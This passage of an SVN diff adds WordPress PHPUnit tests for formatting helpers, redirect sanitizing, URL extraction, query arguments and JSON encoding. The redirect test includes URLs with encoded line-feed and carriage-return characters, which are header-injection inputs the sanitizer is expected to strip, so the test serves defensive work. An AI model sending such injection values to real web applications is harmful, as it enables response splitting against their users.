+		$expected = array(
+			'<p>Here is a <strong class="part">bold <em>and emphasis</em></strong></p>',
+			'<ul><li>Aaa</li><li>Bbb</li></ul>',
+		);
+
+		foreach ($inputs as $key => $input) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_adds_missing_closing_tags() {
+		$inputs = array(
+			'<b><i>Test</b>',
+			'<p>Test',
+			'<p>Test test</em> test</p>',
+			'</p>Test',
+			'<p>Here is a <strong class="part">Test</p>',
+		);
+		$expected = array(
+			'<b><i>Test</i></b>',
+			'<p>Test</p>',
+			'<p>Test test test</p>',
+			'Test',
+			'<p>Here is a <strong class="part">Test</strong></p>',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+	function test_removes_extraneous_closing_tags() {
+		$inputs = array(
+			'<b>Test</b></b>',
+			'<div>Test</div></div><div>Test',
+			'<p>Test test</em> test</p>',
+			'</p>Test',
+		);
+		$expected = array(
+			'<b>Test</b>',
+			'<div>Test</div><div>Test</div>',
+			'<p>Test test test</p>',
+			'Test',
+		);
+
+		foreach ( $inputs as $key => $input ) {
+			$this->assertEquals( $expected[$key], balanceTags( $inputs[$key], true ) );
+		}
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/date.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/date.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/date.php	(revision 33402)
@@ -0,0 +1,50 @@
+<?php
+
+/**
+ * @group formatting
+ * @group datetime
+ */
+class Tests_Formatting_Date extends WP_UnitTestCase {
+
+	/**
+	 * Unpatched, this test passes only when Europe/London is not observing DST.
+	 *
+	 * @ticket 20328
+	 */
+	function test_get_date_from_gmt_outside_of_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$gmt = $local = '2012-01-01 12:34:56';
+		$this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+	}
+
+	/**
+	 * Unpatched, this test passes only when Europe/London is observing DST.
+	 *
+	 * @ticket 20328
+	 */
+	function test_get_date_from_gmt_during_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$gmt   = '2012-06-01 12:34:56';
+		$local = '2012-06-01 13:34:56';
+		$this->assertEquals( $local, get_date_from_gmt( $gmt ) );
+	}
+
+	/**
+	 * @ticket 20328
+	 */
+	function test_get_gmt_from_date_outside_of_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = $gmt = '2012-01-01 12:34:56';
+		$this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+	}
+
+	/**
+	 * @ticket 20328
+	 */
+	function test_get_gmt_from_date_during_dst() {
+		update_option( 'timezone_string', 'Europe/London' );
+		$local = '2012-06-01 12:34:56';
+		$gmt = '2012-06-01 11:34:56';
+		$this->assertEquals( $gmt, get_gmt_from_date( $local ) );
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/ent2ncr.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/ent2ncr.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/ent2ncr.php	(revision 33402)
@@ -0,0 +1,36 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_Ent2NCR extends WP_UnitTestCase {
+	/**
+	 * @dataProvider entities
+	 */
+	function test_converts_named_entities_to_numeric_character_references( $entity, $ncr ) {
+		$entity = '&' . $entity . ';';
+		$ncr = '&#' . $ncr . ';';
+		$this->assertEquals( $ncr, ent2ncr( $entity ), $entity );
+	}
+
+	/**
+	 Get test data from files, one test per line.
+	 Comments start with "###".
+	*/
+	function entities() {
+		$entities = file( DIR_TESTDATA . '/formatting/entities.txt' );
+		$data_provided = array();
+		foreach ( $entities as $line ) {
+			// comment
+			$commentpos = strpos( $line, "###" );
+			if ( false !== $commentpos ) {
+				$line = trim( substr( $line, 0, $commentpos ) );
+				if ( ! $line )
+					continue;
+			}
+			$data_provided[] = array_map( 'trim', explode( '|', $line ) );
+		}
+		return $data_provided;
+	}
+}
+
Index: /tags/4.1.6/tests/phpunit/tests/formatting/isoDescrambler.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/isoDescrambler.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/isoDescrambler.php	(revision 33402)
@@ -0,0 +1,14 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Test_WP_ISO_Descrambler extends WP_UnitTestCase {
+	/*
+	 * Decodes text in RFC2047 "Q"-encoding, e.g.
+	 * =?iso-8859-1?q?this=20is=20some=20text?=
+	*/
+    function test_decodes_iso_8859_1_rfc2047_q_encoding() {
+        $this->assertEquals("this is some text", wp_iso_descrambler("=?iso-8859-1?q?this=20is=20some=20text?="));
+    }
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/redirect.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/redirect.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/redirect.php	(revision 33402)
@@ -0,0 +1,21 @@
+<?php
+
+/**
+ * @group pluggable
+ * @group formatting
+ */
+class Tests_Formatting_Redirect extends WP_UnitTestCase {
+	function test_wp_sanitize_redirect() {
+		$this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0Ago'));
+		$this->assertEquals('http://example.com/watchthelinefeedgo', wp_sanitize_redirect('http://example.com/watchthelinefeed%0ago'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0Dgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0dgo'));
+		$this->assertEquals('http://example.com/watchtheallowedcharacters-~+_.?#=&;,/:%!*stay', wp_sanitize_redirect('http://example.com/watchtheallowedcharacters-~+_.?#=&;,/:%!*stay'));
+		//Nesting checks
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0ddgo'));
+		$this->assertEquals('http://example.com/watchthecarriagereturngo', wp_sanitize_redirect('http://example.com/watchthecarriagereturn%0%0DDgo'));
+		$this->assertEquals('http://example.com/whyisthisintheurl/?param[1]=foo', wp_sanitize_redirect('http://example.com/whyisthisintheurl/?param[1]=foo'));
+		$this->assertEquals('http://[2606:2800:220:6d:26bf:1447:aa7]/', wp_sanitize_redirect('http://[2606:2800:220:6d:26bf:1447:aa7]/'));
+		$this->assertEquals('http://example.com/search.php?search=(amistillhere)', wp_sanitize_redirect('http://example.com/search.php?search=(amistillhere)'));
+	}
+}
Index: /tags/4.1.6/tests/phpunit/tests/formatting/wp_basename.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/formatting/wp_basename.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/formatting/wp_basename.php	(revision 33402)
@@ -0,0 +1,34 @@
+<?php
+
+/**
+ * @group formatting
+ */
+class Tests_Formatting_WP_Basename extends WP_UnitTestCase {
+
+	function test_wp_basename_unix() {
+		$this->assertEquals('file',
+			wp_basename('/home/test/file'));
+	}
+
+	function test_wp_basename_unix_utf8_support() {
+		$this->assertEquals('žluťoučký kůň.txt',
+			wp_basename('/test/žluťoučký kůň.txt'));
+	}
+
+	/**
+	 * @ticket 22138
+	 */
+	function test_wp_basename_windows() {
+		$this->assertEquals('file.txt',
+			wp_basename('C:\Documents and Settings\User\file.txt'));
+	}
+
+	/**
+	 * @ticket 22138
+	 */
+	function test_wp_basename_windows_utf8_support() {
+		$this->assertEquals('щипцы.txt',
+			wp_basename('C:\test\щипцы.txt'));
+	}
+
+}
Index: /tags/4.1.6/tests/phpunit/tests/functions.php
===================================================================
--- /tags/4.1.6/tests/phpunit/tests/functions.php	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/tests/functions.php	(revision 33402)
@@ -0,0 +1,614 @@
+<?php
+
+/**
+ * @group functions.php
+ */
+class Tests_Functions extends WP_UnitTestCase {
+	function test_wp_parse_args_object() {
+		$x = new MockClass;
+		$x->_baba = 5;
+		$x->yZ = "baba";
+		$x->a = array(5, 111, 'x');
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x));
+		$y = new MockClass;
+		$this->assertEquals(array(), wp_parse_args($y));
+	}
+	function test_wp_parse_args_array()  {
+		// arrays
+		$a = array();
+		$this->assertEquals(array(), wp_parse_args($a));
+		$b = array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x'));
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($b));
+	}
+	function test_wp_parse_args_defaults() {
+		$x = new MockClass;
+		$x->_baba = 5;
+		$x->yZ = "baba";
+		$x->a = array(5, 111, 'x');
+		$d = array('pu' => 'bu');
+		$this->assertEquals(array('pu' => 'bu', '_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $d));
+		$e = array('_baba' => 6);
+		$this->assertEquals(array('_baba' => 5, 'yZ' => 'baba', 'a' => array(5, 111, 'x')), wp_parse_args($x, $e));
+	}
+	function test_wp_parse_args_other() {
+		$b = true;
+		wp_parse_str($b, $s);
+		$this->assertEquals($s, wp_parse_args($b));
+		$q = 'x=5&_baba=dudu&';
+		wp_parse_str($q, $ss);
+		$this->assertEquals($ss, wp_parse_args($q));
+	}
+	function test_size_format() {
+		$kb = 1024;
+		$mb = $kb*1024;
+		$gb = $mb*1024;
+		$tb = $gb*1024;
+		// test if boundaries are correct
+		$this->assertEquals('1 GB', size_format($gb, 0));
+		$this->assertEquals('1 MB', size_format($mb, 0));
+		$this->assertEquals('1 kB', size_format($kb, 0));
+		// now some values around
+		// add some bytes to make sure the result isn't 1.4999999
+		$this->assertEquals('1.5 TB', size_format($tb + $tb/2 + $mb, 1));
+		$this->assertEquals('1,023.999 GB', size_format($tb-$mb-$kb, 3));
+		// edge
+		$this->assertFalse(size_format(-1));
+		$this->assertFalse(size_format(0));
+		$this->assertFalse(size_format('baba'));
+		$this->assertFalse(size_format(array()));
+	}
+
+	function test_path_is_absolute() {
+		if ( !is_callable('path_is_absolute') )
+			$this->markTestSkipped();
+
+		$absolute_paths = array(
+			'/',
+			'/foo/',
+			'/foo',
+			'/FOO/bar',
+			'/foo/bar/',
+			'/foo/../bar/',
+			'\\WINDOWS',
+			'C:\\',
+			'C:\\WINDOWS',
+			'\\\\sambashare\\foo',
+			);
+		foreach ($absolute_paths as $path)
+			$this->assertTrue( path_is_absolute($path), "path_is_absolute('$path') should return true" );
+	}
+
+	function test_path_is_not_absolute() {
+		if ( !is_callable('path_is_absolute') )
+			$this->markTestSkipped();
+
+		$relative_paths = array(
+			'',
+			'.',
+			'..',
+			'../foo',
+			'../',
+			'../foo.bar',
+			'foo/bar',
+			'foo',
+			'FOO',
+			'..\\WINDOWS',
+			);
+		foreach ($relative_paths as $path)
+			$this->assertFalse( path_is_absolute($path), "path_is_absolute('$path') should return false" );
+	}
+
+	function test_wp_unique_filename() {
+
+		$testdir = DIR_TESTDATA . '/images/';
+
+		// sanity check
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcdefg.png' ), 'Sanitiy check failed' );
+
+		// check number is appended for file already exists
+		$this->assertFileExists( $testdir . 'test-image.png', 'Test image does not exist' );
+		$this->assertEquals( 'test-image1.png', wp_unique_filename( $testdir, 'test-image.png' ), 'Number not appended correctly' );
+		$this->assertFileNotExists( $testdir . 'test-image1.png' );
+
+		// check special chars
+		$this->assertEquals( 'testtést-imagé.png', wp_unique_filename( $testdir, 'testtést-imagé.png' ), 'Filename with special chars failed' );
+
+		// check special chars with potential conflicting name
+		$this->assertEquals( 'tést-imagé.png', wp_unique_filename( $testdir, 'tést-imagé.png' ), 'Filename with special chars failed' );
+
+		// check with single quotes in name (somehow)
+		$this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, "abcdefg'h.png" ), 'File with quote failed' );
+
+		// check with single quotes in name (somehow)
+		$this->assertEquals( "abcdefgh.png", wp_unique_filename( $testdir, 'abcdefg"h.png' ), 'File with quote failed' );
+
+		// test crazy name (useful for regression tests)
+		$this->assertEquals( '12%af34567890@..%^_-qwerty-fghjkl-zx.png', wp_unique_filename( $testdir, '12%af34567890#~!@#$..%^&*()|_+qwerty  fgh`jkl zx<>?:"{}[]="\'/?.png' ), 'Failed crazy file name' );
+
+		// test slashes in names
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\fg.png' ), 'Slash not removed' );
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\fg.png' ), 'Double slashed not removed' );
+		$this->assertEquals( 'abcdefg.png', wp_unique_filename( $testdir, 'abcde\\\fg.png' ), 'Tripple slashed not removed' );
+	}
+
+	function test_is_serialized() {
+		$cases = array(
+			serialize(null),
+			serialize(true),
+			serialize(false),
+			serialize(-25),
+			serialize(25),
+			serialize(1.1),
+			serialize('this string will be serialized'),
+			serialize("a\nb"),
+			serialize(array()),
+			serialize(array(1,1,2,3,5,8,13)),
+			serialize( (object)array('test' => true, '3', 4) )
+		);
+		foreach ( $cases as $case )
+			$this->assertTrue( is_serialized($case), "Serialized data: $case" );
+
+		$not_serialized = array(
+			'a string',
+			'garbage:a:0:garbage;',
+			's:4:test;'
+		);
+		foreach ( $not_serialized as $case )
+			$this->assertFalse( is_serialized($case), "Test data: $case" );
+	}
+
+	/**
+	 * @group add_query_arg
+	 */
+	function test_add_query_arg() {
+		$old_req_uri = $_SERVER['REQUEST_URI'];
+
+		$urls = array(
+			'/',
+			'/2012/07/30/',
+			'edit.php',
+			admin_url( 'edit.php' ),
+			admin_url( 'edit.php', 'https' ),
+		);
+
+		$frag_urls = array(
+			'/#frag',
+			'/2012/07/30/#frag',
+			'edit.php#frag',
+			admin_url( 'edit.php#frag' ),
+			admin_url( 'edit.php#frag', 'https' ),
+		);
+
+		foreach ( $urls as $url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+
+			$this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1', $url ) );
+			$this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+			$this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+			$this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+			$_SERVER['REQUEST_URI'] = $url;
+
+			$this->assertEquals( "$url?foo=1", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url?foo=1", add_query_arg( array( 'foo' => '1' ) ) );
+			$this->assertEquals( "$url?foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url?foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		foreach ( $frag_urls as $frag_url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+			$url = str_replace( '#frag', '', $frag_url );
+
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1', $frag_url ) );
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ), $frag_url ) );
+			$this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $frag_url ) );
+			$this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $frag_url ) );
+
+			$_SERVER['REQUEST_URI'] = $frag_url;
+
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url?foo=1#frag", add_query_arg( array( 'foo' => '1' ) ) );
+			$this->assertEquals( "$url?foo=2#frag", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url?foo=1&bar=2#frag", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		$qs_urls = array(
+			'baz=1', // #WP4903
+			'/?baz',
+			'/2012/07/30/?baz',
+			'edit.php?baz',
+			admin_url( 'edit.php?baz' ),
+			admin_url( 'edit.php?baz', 'https' ),
+			admin_url( 'edit.php?baz&za=1' ),
+			admin_url( 'edit.php?baz=1&za=1' ),
+			admin_url( 'edit.php?baz=0&za=0' ),
+		);
+
+		foreach ( $qs_urls as $url ) {
+			$_SERVER['REQUEST_URI'] = 'nothing';
+
+			$this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1', $url ) );
+			$this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ), $url ) );
+			$this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ), $url ) );
+			$this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ), $url ) );
+
+			$_SERVER['REQUEST_URI'] = $url;
+
+			$this->assertEquals( "$url&foo=1", add_query_arg( 'foo', '1' ) );
+			$this->assertEquals( "$url&foo=1", add_query_arg( array( 'foo' => '1' ) ) );
+			$this->assertEquals( "$url&foo=2", add_query_arg( array( 'foo' => '1', 'foo' => '2' ) ) );
+			$this->assertEquals( "$url&foo=1&bar=2", add_query_arg( array( 'foo' => '1', 'bar' => '2' ) ) );
+		}
+
+		$_SERVER['REQUEST_URI'] = $old_req_uri;
+	}
+
+	/**
+	 * @ticket 21594
+	 */
+	function test_get_allowed_mime_types() {
+		$mimes = get_allowed_mime_types();
+
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		add_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = get_allowed_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertEmpty( $mimes );
+
+		remove_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = get_allowed_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+	}
+
+	/**
+	 * @ticket 21594
+	 */
+	function test_wp_get_mime_types() {
+		$mimes = wp_get_mime_types();
+
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		add_filter( 'mime_types', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertEmpty( $mimes );
+
+		remove_filter( 'mime_types', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		// upload_mimes shouldn't affect wp_get_mime_types()
+		add_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes );
+		$this->assertNotEmpty( $mimes );
+
+		remove_filter( 'upload_mimes', '__return_empty_array' );
+		$mimes2 = wp_get_mime_types();
+		$this->assertInternalType( 'array', $mimes2 );
+		$this->assertNotEmpty( $mimes2 );
+		$this->assertEquals( $mimes2, $mimes );
+	}
+
+	/**
+	 * @ticket 23688
+	 */
+	function test_canonical_charset() {
+		$orig_blog_charset = get_option( 'blog_charset' );
+
+		update_option( 'blog_charset', 'utf8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'utf-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'UTF-8' );
+		$this->assertEquals( 'UTF-8', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'ISO8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', 'iso-8859-1' );
+		$this->assertEquals( 'ISO-8859-1', get_option( 'blog_charset') );
+
+		// Arbitrary strings are passed through.
+		update_option( 'blog_charset', 'foobarbaz' );
+		$this->assertEquals( 'foobarbaz', get_option( 'blog_charset') );
+
+		update_option( 'blog_charset', $orig_blog_charset );
+	}
+
+	/**
+	 * @dataProvider data_wp_parse_id_list
+	 */
+	function test_wp_parse_id_list( $expected, $actual ) {
+		$this->assertSame( $expected, array_values( wp_parse_id_list( $actual ) ) );
+	}
+
+	function data_wp_parse_id_list() {
+		return array(
+			array( array( 1, 2, 3, 4 ), '1,2,3,4' ),
+			array( array( 1, 2, 3, 4 ), '1, 2,,3,4' ),
+			array( array( 1, 2, 3, 4 ), '1,2,2,3,4' ),
+			array( array( 1, 2, 3, 4 ), array( '1', '2', '3', '4', '3' ) ),
+			array( array( 1, 2, 3, 4 ), array( 1, '2', 3, '4' ) ),
+			array( array( 1, 2, 3, 4 ), '-1,2,-3,4' ),
+			array( array( 1, 2, 3, 4 ), array( -1, 2, '-3', '4' ) ),
+		);
+	}
+
+	/**
+	 * @ticket 19354
+	 */
+	function test_data_is_not_an_allowed_protocol() {
+		$this->assertNotContains( 'data', wp_allowed_protocols() );
+	}
+
+	/**
+	 * @ticket 9064
+	 */
+	function test_wp_extract_urls() {
+		$original_urls = array(
+			'http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html',
+			'http://this.com',
+			'http://127.0.0.1',
+			'http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&2134362574863.437',
+			'http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html',
+			'http://wordpress-core.com:8080/',
+			'http://www.website.com:5000',
+			'http://wordpress-core/?346236346326&2134362574863.437',
+			'http://افغانستا.icom.museum',
+			'http://الجزائر.icom.museum',
+			'http://österreich.icom.museum',
+			'http://বাংলাদেশ.icom.museum',
+			'http://беларусь.icom.museum',
+			'http://belgië.icom.museum',
+			'http://българия.icom.museum',
+			'http://تشادر.icom.museum',
+			'http://中国.icom.museum',
+			#'http://القمر.icom.museum', // Comoros	http://القمر.icom.museum
+			#'http://κυπρος.icom.museum', Cyprus 	http://κυπρος.icom.museum
+			'http://českárepublika.icom.museum',
+			#'http://مصر.icom.museum', // Egypt	http://مصر.icom.museum
+			'http://ελλάδα.icom.museum',
+			'http://magyarország.icom.museum',
+			'http://ísland.icom.museum',
+			'http://भारत.icom.museum',
+			'http://ايران.icom.museum',
+			'http://éire.icom.museum',
+			'http://איקו״ם.ישראל.museum',
+			'http://日本.icom.museum',
+			'http://الأردن.icom.museum',
+			'http://қазақстан.icom.museum',
+			'http://한국.icom.museum',
+			'http://кыргызстан.icom.museum',
+			'http://ລາວ.icom.museum',
+			'http://لبنان.icom.museum',
+			'http://македонија.icom.museum',
+			#'http://موريتانيا.icom.museum', // Mauritania	http://موريتانيا.icom.museum
+			'http://méxico.icom.museum',
+			'http://монголулс.icom.museum',
+			#'http://المغرب.icom.museum', // Morocco	http://المغرب.icom.museum
+			'http://नेपाल.icom.museum',
+			#'http://عمان.icom.museum', // Oman	http://عمان.icom.museum
+			'http://قطر.icom.museum',
+			'http://românia.icom.museum',
+			'http://россия.иком.museum',
+			'http://србијаицрнагора.иком.museum',
+			'http://இலங்கை.icom.museum',
+			'http://españa.icom.museum',
+			'http://ไทย.icom.museum',
+			'http://تونس.icom.museum',
+			'http://türkiye.icom.museum',
+			'http://украина.icom.museum',
+			'http://việtnam.icom.museum',
+			'ftp://127.0.0.1/',
+			'http://www.woo.com/video?v=exvUH2qKLTU',
+			'http://taco.com?burrito=enchilada#guac'
+		);
+
+		$blob ="
+			http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html
+
+			http://this.com
+
+			http://127.0.0.1
+
+			http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437
+
+			http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html
+
+			http://wordpress-core.com:8080/
+
+			http://www.website.com:5000
+
+			http://wordpress-core/?346236346326&amp;2134362574863.437
+
+			http://افغانستا.icom.museum
+			http://الجزائر.icom.museum
+			http://österreich.icom.museum
+			http://বাংলাদেশ.icom.museum
+			http://беларусь.icom.museum
+			http://belgië.icom.museum
+			http://българия.icom.museum
+			http://تشادر.icom.museum
+			http://中国.icom.museum
+			http://českárepublika.icom.museum
+			http://ελλάδα.icom.museum
+			http://magyarország.icom.museum
+			http://ísland.icom.museum
+			http://भारत.icom.museum
+			http://ايران.icom.museum
+			http://éire.icom.museum
+			http://איקו״ם.ישראל.museum
+			http://日本.icom.museum
+			http://الأردن.icom.museum
+			http://қазақстан.icom.museum
+			http://한국.icom.museum
+			http://кыргызстан.icom.museum
+			http://ລາວ.icom.museum
+			http://لبنان.icom.museum
+			http://македонија.icom.museum
+			http://méxico.icom.museum
+			http://монголулс.icom.museum
+			http://नेपाल.icom.museum
+			http://قطر.icom.museum
+			http://românia.icom.museum
+			http://россия.иком.museum
+			http://србијаицрнагора.иком.museum
+			http://இலங்கை.icom.museum
+			http://españa.icom.museum
+			http://ไทย.icom.museum
+			http://تونس.icom.museum
+			http://türkiye.icom.museum
+			http://украина.icom.museum
+			http://việtnam.icom.museum
+			ftp://127.0.0.1/
+			http://www.woo.com/video?v=exvUH2qKLTU
+
+			http://taco.com?burrito=enchilada#guac
+		";
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( count( $original_urls ), $urls );
+		$this->assertEquals( $original_urls, $urls );
+
+		$exploded = array_values( array_filter( array_map( 'trim', explode( "\n", $blob ) ) ) );
+		// wp_extract_urls calls html_entity_decode
+		$decoded = array_map( 'html_entity_decode', $exploded );
+
+		$this->assertEquals( $decoded, $urls );
+		$this->assertEquals( $original_urls, $decoded );
+
+		$blob ="Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
+			incididunt ut labore http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html et dolore magna aliqua.
+			Ut http://this.com enim ad minim veniam, quis nostrud exercitation 16.06. to 18.06.2014 ullamco http://127.0.0.1
+			laboris nisi ut aliquip ex http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437 ea
+			commodo consequat. http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html Duis aute irure dolor in reprehenderit in voluptate
+			velit esse http://wordpress-core.com:8080/ cillum dolore eu fugiat nulla <A href=\"http://www.website.com:5000\">http://www.website.com:5000</B> pariatur. Excepteur sint occaecat cupidatat non proident,
+			sunt in culpa qui officia deserunt mollit http://wordpress-core/?346236346326&amp;2134362574863.437 anim id est laborum.";
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( 8, $urls );
+		$this->assertEquals( array_slice( $original_urls, 0, 8 ), $urls );
+
+		$blob = 'Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor
+			incididunt ut labore <a href="http://woo.com/1,2,3,4,5,6/-1-2-3-4-/woo.html">343462^</a> et dolore magna aliqua.
+			Ut <a href="http://this.com">&amp;3640i6p1yi499</a> enim ad minim veniam, quis nostrud exercitation 16.06. to 18.06.2014 ullamco <a href="http://127.0.0.1">localhost</a>
+			laboris nisi ut aliquip ex <a href="http://www111.urwyeoweytwutreyytqytwetowteuiiu.com/?346236346326&amp;2134362574863.437">343462^</a> ea
+			commodo consequat. <a href="http://wordpress-core/1,2,3,4,5,6/-1-2-3-4-/woo.html">343462^</a> Duis aute irure dolor in reprehenderit in voluptate
+			velit esse <a href="http://wordpress-core.com:8080/">-3-4--321-64-4@#!$^$!@^@^</a> cillum dolore eu <A href="http://www.website.com:5000">http://www.website.com:5000</B> fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident,
+			sunt in culpa qui officia deserunt mollit <a href="http://wordpress-core/?346236346326&amp;2134362574863.437">)(*&^%$</a> anim id est laborum.';
+
+		$urls = wp_extract_urls( $blob );
+		$this->assertNotEmpty( $urls );
+		$this->assertInternalType( 'array', $urls );
+		$this->assertCount( 8, $urls );
+		$this->assertEquals( array_slice( $original_urls, 0, 8 ), $urls );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode() {
+		$this->assertEquals( wp_json_encode( 'a' ), '"a"' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_utf8() {
+		$this->assertEquals( wp_json_encode( '这' ), '"\u8fd9"' );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_non_utf8() {
+		$old_charsets = $charsets = mb_detect_order();
+		if ( ! in_array( 'EUC-JP', $charsets ) ) {
+			$charsets[] = 'EUC-JP';
+			mb_detect_order( $charsets );
+		}
+
+		$eucjp = mb_convert_encoding( 'aあb', 'EUC-JP', 'UTF-8' );
+		$utf8 = mb_convert_encoding( $eucjp, 'UTF-8', 'EUC-JP' );
+
+		$this->assertEquals( 'aあb', $utf8 );
+
+		$this->assertEquals( '"a\u3042b"', wp_json_encode( $eucjp ) );
+
+		mb_detect_order( $old_charsets );
+	}
+
+	/**
+	 * @ticket 28786
+	 */
+	function test_wp_json_encode_non_utf8_in_array() {
+		$old_charsets = $charsets = mb_detect_order();
+		if ( ! in_array( 'EUC-JP', $charsets ) ) {
+			$charsets[] = 'EUC-JP';
+			mb_detect_order( $charsets );
+		}
+
+		$eucjp = mb_convert_encoding( 'aあb', 'EUC-JP', 'UTF-8' );
